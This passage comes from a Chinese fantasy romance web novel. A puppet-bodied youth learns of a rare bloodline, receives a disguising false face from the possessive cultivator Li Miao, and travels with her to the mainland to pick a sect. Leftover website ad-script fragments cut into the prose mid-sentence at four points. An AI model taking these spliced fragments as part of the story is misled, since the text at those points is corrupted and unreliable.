穆忘朝盯着梨渺的剑势,看准机会,趁她劈剑之时,擦着剑风跌了出去。 梨渺双目顿张,诧然收剑。 她还未发力,他怎就倒下了? 穆忘朝坠在地上,右臂裂出半寸深的剑痕,却未沾染血迹。 他吃痛眯了眯眼睑,这人偶之身体内并无血液流淌,此事他早有察觉,但受伤的痛感,好似与凡躯并无多大不同。 “阿朝……” 梨渺蹲在少年身边伸出手,指尖却在触及他手臂的一瞬便缩了回去。 穆忘朝瞥见她慌乱又克制的动作,不禁动容。 “抱歉渺渺姑娘,我方才有所分神,不幸吃了一招……这并非姑娘之错。” 梨渺眼底掠过一丝心虚,她方才的确计划着打伤他,哪知事情这般巧…… 少年欲要起身,牵扯了伤处,不禁发出嘶声。 梨渺眸光又是一颤,她看着少年左臂上破绽的肤肉,两手焦躁捏着裙摆,忍不住咽了下口水。 穆忘朝惶惶变了变脸色,她这如狼似虎的眼神……可愈发不像是关怀了。 但至少他的苦肉计并非全无效用。 “幼时受了伤,痛得紧时,只要阿娘摸摸,痛苦便能消解几分。” “所以渺渺姑娘,可否……摸摸我?” 梨渺错愕抬起了脸,眸里碎星闪烁。 少年突然的转变叫她猝不及防,她既是欣喜,又是忧虑,纠结得心如猫抓。 她颤巍巍握住少年的指尖,久违的清凉触感霎时似流水般自指腹侵入心脾。 梨渺目光涣散,飘飘然如沐春雨。 “阿朝不再抗拒渺渺了么?”梨渺恍惚看着他,期盼着他的回应,兴奋悄然溢出指尖。 她热切的目光令少年局促,他赧然移开目光,轻声道:“若能令姑娘顺心,此般程度……也并非不可忍受。” 梨渺忽有些紧张,她茫然注视他片刻,细细开口:“你会死掉吗?” 穆忘朝愣住,一番思忖无果,他不解道:“为何有此一问?” 梨渺忸怩埋下头,食指在他指尖上有一下没一下地挠着,惹得他心痒痒。 “渺渺喜欢和阿朝在一块,可是……亲近阿朝,会让阿朝烈火焚身,烧成灰死掉的。” 闻言,穆忘朝瞠目结舌,费了好一番功夫,才理清了她的思绪。 烈火焚身,烈火…… 穆忘朝哭笑不得,是谁教她的这一番说辞,竟叫她如此误会。 她忽然恐惧于与他接触,原来是担心他的性命。 真相如此滑稽,穆忘朝却融了心扉。 “我不会死在这种事情上。”他忍笑说道。 梨渺眨眨眼,“当真?” 少年轻抿唇角,双目清明如透玉。 “渺渺说过,若连区区触碰都忍受不得,如何能有意志掌握体内这份灵力。” “烈火灼身……我会尽力承受。” 人偶之躯便似那干草松针,一点火星便足以燎原。 这或许,便是得到力量的代价。 梨渺顿时展颜,呼吸之间满是庆幸,她握满了少年的手,珍重捧在心口。 “你发誓,不可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以死在我面前!” 穆忘朝讷然注视着她,轻声叹息。 “穆忘朝在此起誓,决不死在渺渺面前。” 梨渺:“否则永生永世,都不能离开我身边!” 穆忘朝:“……” 这件事,似乎与他死不死无关。 见到她的第一眼,她便执意将他永远困在身边了。 “否则永生永世,都无法离开渺渺。” 他照样说着,心中琢磨,渺渺姑娘终究还是天真了些。 他大可找机会离去,即便身死,也不会让她瞧见。 无用的誓言,又如何能锁住他的决心。 梨渺看着少年臂上的剑伤,静悄地扇了下睫羽,既然师尊顺意于她,她便无须再用此般手段拖延时间了。 她双手悬于伤口上方,青绿色灵力渗入其中,七寸长的伤口渐渐合拢,最终恢复无瑕。 穆忘朝目不转睛看着这一切,回想起先前中毒昏沉之际,她亦是这般救治,他酝酿少焉,谦和有礼道:“多谢渺渺,这疗伤的法术……可否也教教我?” 梨渺木着脸摇头,“我不会疗伤法术,教不了你。” 少年疑惑:“可是方才……” 梨渺:“这是血脉力量,渺渺天生便会的。” 穆忘朝愣住了脸色,忽然想起了什么。 他当即正襟危坐,带有一分急切道:“渺渺,可否告知我,所谓血脉力量,究竟是怎样一回事?” 梨渺透彻看着他,忆起当年初入清净门时,她无意打伤了师姐,被师尊处罚禁足。 她在后山里实在无聊,便玩弄起崖边的花草。 抬手百草枯萎,落手百花盛放。 那一幕,恰被前来看望她的师尊瞧见。 她转身时,望见了师尊恍惚出神的双眼。 他说,她是玄辰血脉,叮嘱她不可让他人知晓此事,就连同门也不能。 他说,入元婴前,绝不可离山。 可师尊从未告诉她,他的那些叮嘱,究竟有何用意。 她只听他讲过,有关血脉的一些传言。 “传闻在鸿蒙之时,有三位同胞姊妹领悟成仙之法,乃是原初登仙之人,仙名为赤日、青月、白星。” “三姊妹位列仙班,指点凡人寻仙问道,修真界就此成型。然而,其中仅有极少数人能得三仙青睐,于出生之时便得仙人赐福。” “人们说,得到三仙赐福的幸运儿,便拥有了刻印于血脉之中的天赋,于某些修炼之道上远超常人。” “赤日血脉身怀毁灭之力,战斗之时,即便与敌人差上一个大境界,也能打得不分上下。” “青月血脉身怀生机之力,可疗愈伤痛,亦能更大程度地发挥药材特性、炼制高品丹药。若修炼得精纯,即便手上无灵丹妙药,仅凭血气都能让重伤之人恢复如初。” “白星血脉则代表创造之力,修行器道可畅通无阻,唔……拥有白星血脉的人,除了生灵,大概什么都能造出来。” 穆忘朝双目微张,“可你救了死去的我……也创造了我。” 梨渺歪头,“不错,所以我和他们都不一样。” “得到三位仙人赐福,拥有三种天赋,此称玄辰血脉。” “若非我同时掌握生机与创造之力,还救不来你呢!” 穆忘朝目光恍惚,呼吸也变得急促。 “你还知道什么?” 12. 第 12 章 梨渺不知少年为何变得如此急躁,见他迫切想知道有关血脉天赋之事,她瘪了瘪唇,又从记忆里搜刮出来三两线索,娇俏开口。 “据传能够得到三仙其一赐福者万中无一,而同时经三仙赐福、获得玄辰血脉之人更是万年难遇。” 她抱起膝盖,偏着脑袋说道:“当年师尊告诉我,我是当世修真界唯一的玄辰血脉。可这么多年过去了……我也不知世道变得如何了。” 少年魂不守舍低下目光,若有似无地摇头,圆睁的眼眸泛起猩红。 “不。” “我死去的兄长,或许便是……玄辰血脉。” 梨渺怔了眼,有关师尊仇恨的内因,她并不知晓。 她也几乎未听他讲过凡界的家人。 “穆家与外界并无冤仇,却突然满门尽灭,本就是不该。” 穆忘朝定定凝视着梨渺,眸底显露痛意。 想她禁足宗门多年,又在这孤岛上隔绝了无数日月。 “身怀玄辰血脉,便是罪么?” 少年哑声求知。 梨渺不解地歪起头,“我从未听过此等说法。” “可师姐告诉我,若能炼化赐福者的血气,即便是普通人,也能使用血脉中的力量,只是力量终有穷尽之日,效用也会打些折扣。” “唔……师尊不让我在同门面前展露疗愈和创造的力量,他们便以为我只是赤日血脉,轻易不同我打斗……” 梨渺后头的语句,少年都未听得清了。 他愕然望着远空,浑身写满怅惘。 “我如今知晓,令师为何会将你困在山门之中。” “血气可赋予他人超凡异能,赐福者在弱肉强食的修真界,便不再只是一个人……而是炙手可热的资源。” “何况……是轻易可使用三种异能的玄辰血脉。” 穆忘朝深深看着梨渺,字字珠玑。 “无傍身之修为,便如初生幼鸟,人人可夺之杀之。” “令师之困缚,实为护佑……” 梨渺望着他深沉的双眼,忽而如临飓风中,刹那回到了五百年前。 这一刻,她终于看懂了当年师尊的眼神。 宗门众人因她展露“赤日血脉”的威力而欢喜,唯有师尊的眼里无喜无怒,无意透露着伤怀。 “原来师尊……是这般想的……” 梨渺失神呢喃。 少年并未领会,她这番低语并不仅仅是回忆。 他两手攥紧衣摆,垂首压抑愤恨。 “便在灭门两年前,兄长曾意外昏倒在野外,家里寻到他时,他脸色发白、不省人事,休养了数月方恢复如初。” “兄长乃是邻里皆知的好身骨,既能徒手搏兽,又会治疗伤痛,他不该有那一番虚弱才是。” “他说他昏倒那日,结识了一位紫衫道人,二人相谈甚欢,之后他莫名昏睡,也不知那道人去了何处。因他后来养好了身体,家中人也不再将那遭遇当回事。” “如今想来,兄长那时应是被那紫衫道人夺了血气,之后满门尽灭,定与那紫衫道人有关!” 少年言至激动,忍不住咳嗽了几声。 梨渺凑上前轻拍起少年的背,紧抿着唇不说话。 穆忘朝倏地抓紧梨渺的手,恨意在眸中化作灼火,再也压制不能。 “渺渺,我们即日启程可好?我等不得了!” 梨渺被他瞳中火烧得心悸。 她没办法告诉师尊,他口中的紫衫道人,早便被他杀掉了。 属于她和师尊的谎言,她会永远隐瞒下去。 梨渺抱住少年的身躯,将他满腔怒意都包裹在如水温柔之下。 “既然阿朝如此焦急,我们明日便走。” 她轻声说着,似春晨细雨。 少年睫稍落轻珠,在她怀中渐渐平息。 他眸光颤抖,飞云在眼前混沌无形。 一声哽咽溢出喉,他紧紧抱住梨渺,放任自己埋在她肩头声泪俱下。 “乖,乖……” 梨渺心田滋润,歪头靠在少年脑袋上,微笑着抬手抚慰,便如她往初为绢人梳理衣发那般。 “今晚,来我屋中罢。” 穆忘朝抬起身,茫然无措地看着她,眼角还挂着泪渍。 梨渺轻弯眼角,“我需为你换一副面貌,以免你又被昔年仇人盯上。” 以免旁人认出他乃清宵剑尊,戳破谎言,坏她好事。 穆忘朝心头松了口气,好在……不是要作弄他。 “还是渺渺思虑周全。” 他抬了抬眼睫,“你既身怀玄辰血脉,是否也要伪装一番?” 梨渺食指点在下唇,思索道:“修真界中见过我面貌之人,除了白哥哥和那位穿越结界的陌生女子,都已经死掉了。知晓我拥有玄辰血脉的,除了白哥哥,也就只有阿朝你了。” “我不会透露你的秘密。”穆忘朝笃定道。 梨渺笑靥如花,“我当然知道!” 穆忘朝稍愣,说得如此不假思索,她便如此信任这份血契连结。 梨渺:“所以,我只要隐藏能力便好了,若是不幸被人目睹……那便将他杀掉好了。” 少女说得轻巧,穆忘朝眼眸微张,沉默无言。 弱肉强食的世界,就在眼前。 他还是没能习惯。 梨渺提裙站起了身,轻快小跳。 “我去告诉白哥哥!今晚记得过来噢!” 她招招手,兔子似的跑走。 南方林中,白衣青年手持木棍,有一搭没一搭地在掌中轻拍。 梨渺从他身后探头。 “白哥哥,你在做什么?” 今歌白提唇觑她一眼,悠悠道:“阿渺不是要做一方大床么,哥哥在用心思考,哪一棵树能有此殊荣,成为我和阿渺的身下榻。” 梨渺眼眸晶亮:“那我来巧了,白哥哥不必操心了!” 今歌白抬眉轻笑,“噢?你准备将那厮逐出床笫了?” 梨渺:“我准备和师尊出门闯荡了!” “……??” 男子笑颜崩碎,额上青筋直冒。 “你可知大陆之上何其凶险,玄辰血脉一旦暴露世间,必受万人觊觎!你便为了他那莫须有的仇怨,让自己投身险境中?” 梨渺手背叉在腰间,理直气壮:“论武力,阿渺可不比白哥哥差,白哥哥都能肆意行走世间,阿渺为何不能?师尊过去都说,我突破元婴,便可出山了,白哥哥便这般不放心阿渺吗?” 今歌白愠怒眯起眼角,出声温声好气:“可阿渺终究未曾面对过真正的敌人,哥哥怕你吃亏。” “不迈出第一步,便永远都跨不过这道坎。我想去大陆上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,亦是有自己的私心的!” 梨渺上前握住青年的手,笑吟吟地眨眨眼。 “况且还有白哥哥在,白哥哥,你会一直陪着我的对么?” 今歌白攥紧了手心,少女明媚的眼眸映在心底,叫他再说不出任何拒绝的话。 他沉默片刻,勾唇反问:“你有何私心?” 梨渺低下头,“师尊的弱毒体质实在太过不利,我要想办法改良他,在找到办法之前,还得修习医术,以应对不时之需。” 今歌白启唇滞涩许久,忽地昂头自嘲而笑。 “说到底,还是为了他。” 梨渺瘪了瘪唇,脆声道:“有何不好,若白哥哥受了重伤,我也能帮上忙。” 男子垂下眼睫,食指勾勒梨渺的脖颈,双眸晦暗不明。 “我赠你的玉坠,为何不戴。” 梨渺抚上前颈,睫羽轻扇。 “只是不小心忘了罢了,白哥哥送我的大婚礼物,我自要天天戴着。” 她目光直白,今歌白辨不出她言语真假。 他抚至她脸颊,指尖轻轻一划,情绪莫测地低笑了声。 “以后都需戴着,不可取下,知道了么?” 梨渺乖顺点头,眉头透出纳闷。 今歌白:“它可依你心意伪装境界与内息,即便是化神、渡劫期大能,也无法观测你的灵力走向,我给此宝取名雨霖铃,戴上它,更安全。” 梨渺呆愣地张大眸,忽然反应过来,欣喜展颜。 “白哥哥愿意同我出海了?当年赠我如此贵礼,是早便做好这般打算了吗?” “当然,阿渺岂会久远困居这偏狭之地,早晚有一天……” 男子的声音低了下去。 梨渺半晌没有等来他的后话,只能看见他讳莫如深的眼。 “咦,连渡劫期大能都能瞒过的宝物,白哥哥是怎么造出来的?”梨渺好奇问道。 “自然是……使了些手段了。” 今歌白轻抚她的头顶,目光一转温柔:“收拾去罢,此去一行,还不知日后是否回得来。” 他不愿多透露,梨渺转眼也忘了追究,轻盈跑没了影。 傍晚,梨渺的房门外传来谨慎的脚步声。 对方轻缓地叩了两声门,矜持出声:“渺渺姑娘,忘朝前来赴约。” 梨渺咧开唇角,小跑上前拉开门,抓住少年的手腕便将他拽了进去。 穆忘朝一步踉跄,下意识掩住心口,明目迅速转悠两下,缓缓舒了口气。 虽然已隔了数日,再入女子闺阁时,当初那份局促依旧没能消减。 “来,坐下。” 梨渺坐到床沿,倩笑示意着少年靠近。 穆忘朝拘谨坐到她身边,臀都未敢落实。 梨渺从床头拿来一张面具,穆忘朝余光瞥见那逼真的质感,都不禁吓了一跳,看清只是张假面皮后,才落下了心。 “你早便准备好了?” 梨渺:“在你第一次提起求仙寻仇时,我便筹备着了。” 穆忘朝张口滞言,忽然乱了思绪。 当初她固执留他,他以为她不会轻易让他遂意。 没想到……她嘴上强硬,心却是软的,即便在那般消沉的日子里,她也在默默劳心于他的愿望…… “渺渺姑娘……对不起。”少年垂首低语。 13. 第 13 章 梨渺讶异凑来脸,“为何道歉?” 穆忘朝眸中轻波颤动,“我曾对你有些误会,后来方知你并无害我之心。你对忘朝的好,忘朝看在眼里,却无以为报。” 梨渺愣了愣,柔柔化开目光,宠溺道:“只要阿朝不背叛渺渺,便是报答。” 穆忘朝握紧了手,内心五味杂陈。 他不会背叛救命恩人,亦不愿辜负她的好意。 可他不想永世做他人附属,为人所控。 待报答完渺渺的恩情……他便想办法离开。 梨渺举起人皮面具,悬在穆忘朝面前。 “现在,我要将它装在你的脸上,为此需对人偶头颅稍加改造,或许会有些痛。” 穆忘朝透过人皮空白的眼眶看着少女的脸。 “没关系,开始罢。” 梨渺左手落在少年鬓旁,穆忘朝只觉头颅肉骨似机关一般顿挫分离,凶猛的痛意让他忍不住闭目拧紧了眉。 梨渺在他的头骨之间新装了一枚部件,然而无论她怎样动作,少年都不动如钟,除了呼吸粗重,未发出一次声响。 她心中嘀咕,这裂骨之痛,总比她的抚摸要厉害得多,可她轻抚他胸膛时,他都会禁不住吭声,所谓烈火焚身,原是那般难忍之事么? 装好了部件,梨渺又以血气为刀,耐心细致地将面具融入他的肉肤。 改造持续了足足一个时辰,梨渺持灯看着她的杰作,满意地晕开笑意。 “好了。” 穆忘朝深深呼吸一口气,缓慢抬睫,终自苦痛中挣脱,如常的轻松之感令他恍若隔世。 梨渺拿来铜镜,得意递给他。 穆忘朝怔然看着镜中崭新的面容,五官均为陌生,却又莫名与他有两分相近。 “如何?” 梨渺满脸期待地等待他的夸赞。 她以师尊本貌为模子,造出来一副全然不同、却又气质相似的面貌,如此旁人认不出,她却能时刻望见师尊的影子,真是极妙。 如今见这面皮在人偶身上如此完美,梨渺十分欣慰,不枉她将那面皮夜夜观瞻,细心调整了数百次。 穆忘朝收起惊愕,移下镜子看向梨渺。 “这是你喜欢的模样吗?” “嗯!”梨渺双手托腮。 穆忘朝若有所思地点点头。“如此便好。” 触感与常人无异,真是精妙的手艺。 梨渺伸出食指,虚空划了个圈。 “我在你身上设下了一道暗门,按下即可收起面具,呈现原貌,再按便可将面具瞬间切出。暗门就在你左处太阳穴,用我赋予你的灵力便可启动,你现在可试上一试。” 穆忘朝讷然抚上左侧眉梢,穴位凹陷处抚上去并无异状,用力按也无事发生,但使上灵力,他便感到面上蓦然一凉,假面刹那被收入了穴位中。 难怪她方才在此处花费的工夫最久,原来是在设置如此精妙的机关。 穆忘朝深深看着梨渺。 身体发肤受之父母,何况他家中只剩他一人,舍弃原有的面貌,他心中终有遗憾。 实在没想到……她所谓改面,乃是白白赠予他伪装之能,让他得以留存这份牵系。 “渺渺姑娘,为何会帮我留着这副面容,直接将脸面换去更容易,不是么?” “自是因为,我更喜欢真正的你呀!” 梨渺满目辰星,笑意盈盈。 少年眼波顿颤,忽而心潮翻涌。 可他的感动并未持续多久,因为下一刻,他便被梨渺按倒在榻上。 梨渺两手撑在他身侧,居高临下看着他惊恐无措的脸。 “许久未与穆郎亲热,渺渺可忍耐多日了。” ……穆、穆郎?? 穆忘朝顿时面红耳赤,十指抓着床单,当即便想逃出桎梏。 梨渺忽地按住他的肩膀,巧笑俯身。 “你可是答应渺渺不会死的,既然不会死,便乖顺随我,哄我开心。” 梨渺褪下外衣,指尖勾过他的衣襟。 穆忘朝僵直了眼,硬是撇开脑袋,心如擂鼓。 她不是不懂所谓男女之事么……这勾魂的模样,又是何时学的? 梨渺轻轻贴上他的胸膛,来回蹭了蹭,渐渐蜷成了一团。 “嘿嘿……” 她躺着没了动作,穆忘朝挪动着眼珠不敢动弹。 过了半晌,梨渺昂起下巴,睁着浑圆的眼睛质问:“你怎么不抱我?” 穆忘朝迟疑着环起少女腰身,目光闪烁。 梨渺将脑袋重新归位,窃喜道:“还是在阿朝怀中最安心了……” 穆忘朝怔愣许久,悄然长舒一口气。 原来还是他想多了…… 他低眸看着似小兽般窝在他身上的少女,不经意露出苦笑,这不是活将他当成了一方床铺么。 他稍稍拢了拢臂膀,让梨渺能安稳靠在他臂弯。 “好梦。” …… 穆忘朝这次总算安下心,不多时便朦胧入梦。 次日,梨渺迷糊睁开眼,察觉自己仍躺在少年身上,还被他抱了一宿,她睫稍忽扇,一时蜜意漫上心头,不由得喜悦地勾起唇角。 她昂头看向少年的脸,稍稍一动,便惊扰了他的睡意。 少年眼睑紧了紧,乌黑长睫一阵轻颤,琥珀珠玉渐渐显露于晨光之下。 如此美妙之景,看得梨渺心旷神怡。 穆忘朝讷了少焉,才发现身上的人儿正睁着圆眼兴致盎然地盯着他。 他倏地清醒了。 “渺渺姑娘……看我多久了?”少年面色微赧。 梨渺咧嘴露出清甜的两只梨涡,“一小会儿。” 穆忘朝别开目光,正不知这两只手该如何安放时,梨渺忽然挣开他的怀抱,轻盈跳到地上。 臂间一轻,穆忘朝低眸看着身前空旷,忽而恍惚一瞬。 “今天是出行的日子!阿朝可有什么要收拾的?”梨渺披上外衣,面容明媚。 穆忘朝注视着她,起身摇头。 “那你在房中等我,我去将东西都带上。” 梨渺掀开被褥,在少年错愕的目光中翻开了床边下的暗室门。 她看向他的眼睛,蓦地弯起眼角。 “不许跟来,也不许偷看。” “嗯。”穆忘朝点头,木然坐去了窗边。 梨渺跳入地室中,看着其间整齐摆放的清净门遗物,将它们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 分门别类收入纳戒中。 最后,她走到一具狭长的红木箱前蹲下,轻轻打开箱盖。 躺在其中的,是一只精美古朴的掐丝蓝釉剑匣。 梨渺小心翼翼地抚过上头的纹路,展开剑匣,微弱的剑光似萤火照亮方寸之间。 她看着尘封多年却依旧无瑕的长剑,不禁心头触动。 这是山河清,师尊的本命剑。 昔年她望着他持剑立于山崖之上,沐风云洗寒霜,好一番仙神下凡的奇景,一眼便永生难忘。 梨渺陷入回忆中,忍不住伸出手想要将剑拾起,然她刚刚靠近,银白剑身上渡印的冰蓝符文忽而亮起一瞬,剑气如霜风,割破了她的指腹。 梨渺大吃一惊,忙缩回了手,睁圆了眼愕然看着山河清。 剑身须臾恢复原状,仿佛刚才的变故只是幻觉。 梨渺呆愣动了动食指,她指尖的伤痛却是真的。 山河清乃是一柄破魔剑,若握剑之人修习魔功、或有入魔之兆,则会遭其反噬。 三百年前师尊渡劫失败修为大损,山河清也失了威力,不复昔日光彩,可那时她将山河清封存至此时,并未发生任何异状。 为何现在,山河清对她展露敌意了呢…… 梨渺抿着指尖血,忽有些心神不宁。 拢眉暗忖了片刻,她合上剑匣,连剑带匣一同收入纳戒,离开了暗室。 梨渺出现之时,穆忘朝敏锐嗅到了一抹血气。 他忽然心头一震,浑身筋脉都瞬间活泛起来,内息焦躁乱撞,令他不由得将目光落在梨渺的指尖。 炽热的目光让梨渺不得不自神游中抽离,看向窗边蠢蠢欲动的少年。 穆忘朝魂不守舍地走上前,看着梨渺食指处的伤口,狠狠闭上眼,压住心头莫名的冲动,平和睁眼道:“怎么受伤了?” 梨渺轻抬右手,轻飘飘道:“不小心被利器割到了。” 与那欲望源头离得更近,少年哽了哽干涩的喉头,别开脑袋。 “还不疗愈,是想要带伤远行么。” “一些小伤小痛的,我素来不稀得动用灵力。” 梨渺抬眉将手伸向穆忘朝。 “而且阿朝看起来……很想要我的血气?” 穆忘朝瞳孔轻震,立马踏步离远了些,固执道:“我没有。” 梨渺眨眨眼,颔首嘀咕道:“看来是真饿了……” 穆忘朝眉头轻敛,低声道:“我无需进食,亦感受不到半分食物本味,又怎会饿。” 自那日食生蟹中毒后,他又尝试着嚼过树叶和果实,那些东西看似并无毒性,可他还是没能咽下。 因为它们都同那螃蟹一般,尝在他口中,比厉药更苦涩。 他以为他从此失去进食的资格。 可是……身后少女的血气,却勾起了他沉寂已久的食欲……甚至还多了些别的怪异感受。 比起无法进食,更让穆忘朝难以接受的,是变成饮血怪物。 梨渺若有所思地觑着少年背影,师尊的肉身与她以血气相牵,她能够给他供给灵力,亦得益于他的人偶躯壳中蕴含她的血气。 师尊修行了这么些日,看来先前给予他的血气,已然留存不多了。 14. 第 14 章 梨渺思索片刻,放弃了纠结。 罢了,看师尊现在的模样,显然未能接受此般现状,待日后师尊饿极了,他自会来找她讨要血气的。 血的气味淡于鼻间,穆忘朝渐渐平静了内息,他谨慎回身,正见梨渺抿着手指,他神思一顿,又恍惚移开眼。 “喏,治好了。”梨渺举起食指,正经八百地向他展示。 穆忘朝暗中松了口气,温声道:“小心一些,我不希望渺渺姑娘平白受伤。” 梨渺咧嘴晕开笑意,“阿朝是在关心我么?” 穆忘朝回避了眼神,他只是不希望,自己再像方才那般失态。 他未回应,梨渺也不甚在意,她袅娜走向房门。 “我去喊上白哥哥,即刻出发。” 不久后,三人聚在海岸。 今歌白自始未给穆忘朝一个正眼,他自然而然靠近梨渺身侧,温和笑道:“还记得来时的方位么?” 梨渺伸手指向北方晃了晃,“记不清了……但不是有白哥哥你嘛!” 她毫不遮掩地绽着笑颜。 “白哥哥开路,我带着阿朝跟在后面便好了。” 今歌白笑意愈深,吐出的话音却阴阳难辨,“你带着他,堂而皇之将我晾在一旁?” “阿朝还未习过飞行术,可不得由我御剑载着嘛。”梨渺说得理所当然。 穆忘朝不擅应对这般场面,尤其是在目如刮骨刀的今歌白面前。 他顶着那人不善的气压,慎重道:“渺渺,我可以学。” 梨渺弯弯眸,“知道你学得快,海程数百里,就怕你一时不慎跌了下去。都到这个节骨眼,就不必多花这份工夫了,到了大陆上,有的是机会学。” 她召出剑踏了上去,微笑着朝穆忘朝伸出手。 二人共御一剑,如此好的机会,她怎会白白放过呢。 穆忘朝定了定神,低眸看着梨渺为他留出的半截剑身,无视今歌白的眼刀踩了上去。 今歌白低哼一声,转身踏风而走,都不愿多看一刻。 “阿朝,不想掉下去的话,便抱紧我罢。”梨渺回首俏皮眨眨眼。 穆忘朝窘迫地恍了恍眼神,小心抬起了手臂。 梨渺嘴角泄露一丝窃喜,御剑飞出,追向云端那道身影。 少女腰身纤柔又细弱,以双臂衡量绰绰有余,仿佛用力就能将它折断。 柔软香甜的气息萦绕怀中,惹得穆忘朝心猿意马,飘然若云羽。 美妙的失神感令人沉浸,也激发着警戒。 穆忘朝不想放任自己溺于虚幻之中。 他撇开了注意力。 “渺渺一直都用着这柄剑么?” 她教他剑术、与他切磋时用的便是脚下这剑,可即便是他也能看出,这是一柄灵力低微的平凡剑。 梨渺:“这是市面流通的练习剑,听说许多门派的低阶弟子都会使用。” 穆忘朝:“可你已是元婴真君了。” 梨渺:“师尊的确赠过我一柄好剑,但我已许久没用它了,此番入世,还是低调些好!” 有关梨渺的宗门往事,穆忘朝虽听得不多,但当她谈起时,他仍会感到唏嘘。 他无法想象,说起宗门惨事异常平静的渺渺,究竟是以怎样一番心情见证当初血流之景的。 他忆起家中惨案时,便做不到云淡风轻。 梨渺不免又想起晨时被山河清所伤之事,沐风的双眸覆上阴霾。 连师尊的剑都要抗拒她,她便只好让它永不能重见天日。 “待我有了足够的钱,我便给阿朝置办一柄上好的剑!或者……我可以修行器道,给阿朝造一柄宝剑出来!” 穆忘朝错愕抬眸,慌忙道:“渺渺已帮扶我诸多,不必再为我破费……” 梨渺戏谑笑道:“我不善使剑,而你天生剑骨,又是我的傀儡,将你炼为利刃,便是我的道。” 少年从此沉默。 半日过后,大陆宽阔的边缘终于穿破云霄,投入到二人的视线中。 细算来,梨渺也不曾有过什么尘世见闻,重见大陆旷景这刻,她方恍然有了知觉。 从此,她便要同师尊一起踏遍江湖,去未去之地,行未行之事。 这竟让她生起从未有过的期待。 越过海岸与崇山,梨渺有些疲乏,三人便暂且降落在一处山谷。 “歇息一阵罢,本就是漫无目的的旅程,不必急于行路。” 今歌白轻拭着梨渺的额头,言行之亲昵,仿佛全然未看见她身旁的少年。 “嗯,我已很久未在山野之中行走过了。”梨渺微笑道。 上一次,还是与师尊在凡界初识的那日。 穆忘朝沉默看着青年的动作与少女的笑颜,缓慢捻了捻袖下的手指。 梨渺转头看向穆忘朝,“阿朝有何打算?” 发呆中忽被询问,穆忘朝稍稍一愣,低眸正色。 “我手中只有仇人留下的两样物件,若四处询问,只怕在找到线索前便已打草惊蛇。” “对修真界,我还一无所知,最先要做的,便是知晓各方势力情报,此外查阅典籍、提升实力都必不可少。” 梨渺附和着点头,师尊还是同他前世一般谨慎,据他所说,当初他来到修真界,便始终压着复仇这面旗,一路暗中摸索,知晓仇人真身后也未动声色,刻苦修炼至与仇人一般的化神境后,方对其展露锋芒。 “渺渺姑娘,我无法积攒修为,想要变强,便只能修习更多技艺、加以精进。” 穆忘朝郑重看向梨渺,目光夹带期盼。 梨渺背着双手,面无表情地歪头。 “这么说,你还是想拜入一方仙门,认他人为师。” 穆忘朝神情笃定,稍稍柔了语气:“渺渺,可以成全我么?” 梨渺定定看着他,静默思索了许久。 无非是从清净门换作了其他劳什子门派而已。 不同以往的是,如今师尊身心都牵扯于她,她要与他亲昵,不过是一句命令的事,在何处做,又有何分别。 “仙门多有藏书阁,要靠读典籍查线索,加入仙门的确不失为一种选择。” 梨渺微笑发话,穆忘朝顿时落下了心,眸中多了分感激。 “白哥哥,你说我们加入哪门哪派好?”梨渺转向今歌白,笑意愈发灿烂。 今歌白蓦地压低眉头,一字一顿:“我们?” 梨渺点头如捣蒜,“白哥哥赠我的玉坠可隐藏我的境界, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我便装作炼气期,与阿朝一同入派好了。” “所以……阿渺便没考虑我么?”今歌白阴下了眼眸。 梨渺摸着项上玉坠,正经道:“白哥哥再给自己做一枚玉坠,我们一块去。” 今歌白气极反笑,“想得轻巧,给你的这宝物,我也造不出第二个。” “噢……”梨渺讪讪低下头,摩挲着冰凉的湖蓝玉坠,心想这东西比她想象中更珍贵,可得好好保管。 看着少女失落的模样,今歌白又于心不忍。 说到底,她也并非全然将他抛在脑后,只是给他的位置……稍稍滞后了一些罢了。 穆忘朝上前一步,端正礼敬道:“请今前辈指教。” 今歌白看见少年一本正经向他请教便恼怒无比,然而转眼一看,梨渺也可怜巴巴望着他,他一口火气咽进了肚里。 不值得与一个毛头小子争风吃醋。 今歌白一面冷笑着,一面愤愤然束紧了袖口。 他随手招来一根木棍,在地上圈画。 “我们现处越州,五州最南处。穿过越州,自南至北,分别为曲州、禹州、金州、焱州。” “越州多小门小派,缺乏大能坐镇,少争斗,最为清净。” “曲州以盛月坊为首,修士多风雅,女子多曼妙,乃是音修天下。” “禹州地处中原,以天衡宗为尊,对八方门派施以管辖,纪律最为严明。那天衡宗亦是仙道第一派,势大力强,连其他州的仙门大派都需礼让它三分。” “这么看来,咱们不该去禹州。”梨渺插嘴道。 且不说禹州管辖严明,师尊记恨多年的紫衫道人,便是天衡宗曾经的大长老茅紫山。 若他们扎根在禹州,让师尊查到茅紫山头上,知晓是清宵剑尊将其诛杀,指不定他会想起往事,再度将她厌弃。 今歌白点点头,继续画往上方。 “金州乃界内最为富裕之地,门派欠缺,世家横行,城中商业多为世家垄断,又因金州地处仙魔交界,他们还会做魔道生意,仙门诸派也无权管制。” “最北的焱州,便是魔修聚集地,魔门以渡火宫为首,尊称渡火宫主汝元为魔尊。这魔尊汝元,便是当世修为第一人,天下唯一的渡劫后期,据传,将至渡劫期大圆满。” 说罢,今歌白将目光落在了梨渺脸上,注视少焉,道:“阿渺作何感想?” 梨渺蹲在地上托着腮,讷讷道:“天下第一人,原是位魔修。” 穆忘朝狐疑地转来眼眸,据渺渺口述,她在隐居海岛前曾带着他的魂魄在世间游荡了一番,她却连五州势力和当世修为第一人都不知。 还是说,她在海岛上停留的时间,已长到足够令天下局势更新换代了么。 梨渺颔首看着地上的简易舆图,嘟囔道:“禹州不可,金州不可,焱州也不可。” 今歌白扯了扯嘴角,“选择门派更为重要。虽然阿渺有法宝雨霖铃傍身,不惧他人探查,可这小子却是赤条条一个,若被人探查内府,发现他乃伪灵根,暴露了傀儡之身,迟早会牵连阿渺,让人察觉你血脉非凡。” 穆忘朝张了张眸,心情复杂地抿起唇,他是渺渺的利刃,却也是她的脉门。 他绝不可暴露身份。 15. 第 